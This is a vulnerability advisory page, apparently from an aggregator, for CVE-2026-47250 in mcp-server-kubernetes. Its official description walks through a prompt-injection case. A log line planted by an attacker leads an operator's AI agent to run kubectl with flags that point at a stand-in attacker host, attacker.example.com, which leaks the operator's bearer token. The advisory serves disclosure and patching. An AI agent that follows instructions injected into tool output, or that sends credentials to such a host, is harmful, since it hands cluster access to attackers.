# CVE-2026-47250: mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

> Attackers can inject kubectl flags to exfiltrate operator bearer tokens, enabling privilege escalation and unauthorized cluster access.

- **Severity:** Medium 6.1 (`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N`)
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 11 Jun 2026
- **Updated:** 11 Jun 2026
- **Also known as:** GHSA-6mx4-4h42-r8vh

## What is CVE-2026-47250?

CVE-2026-47250 is a medium-severity command injection vulnerability in Flux159 mcp-server-kubernetes, published on 11 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Weakness: CWE-88 (Improper Neutralization of Argument Delimiters in a Command)

## Which versions are affected by CVE-2026-47250?

2 open source packages ship an affected version, including mcp-server-kubernetes.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `mcp-server-kubernetes` | npm | All versions | 3.7.0 |
| `mcp-server-kubernetes` | npm | All versions | 3.7.0 |

## How do I fix CVE-2026-47250?

Upgrade mcp-server-kubernetes to 3.7.0 or later.

## Is CVE-2026-47250 being exploited?

It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-47250 exists.

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2026-47250 and fix it if it is affected.

What it is: CVE-2026-47250 is a medium-severity command injection vulnerability in Flux159 mcp-server-kubernetes, published on 11 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-47250 exists.

Affected packages and fixed versions:
- mcp-server-kubernetes (npm): affected all versions; fixed in 3.7.0
- mcp-server-kubernetes (npm): affected all versions; fixed in 3.7.0

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2026-47250/ (Markdown: https://insights.sbomify.com/CVE-2026-47250/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-47250
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47250
- OSV: https://osv.dev/vulnerability/CVE-2026-47250

---
From sbomify Insights: https://insights.sbomify.com/CVE-2026-47250/
Summaries are generated and may contain mistakes; the official description above is the record.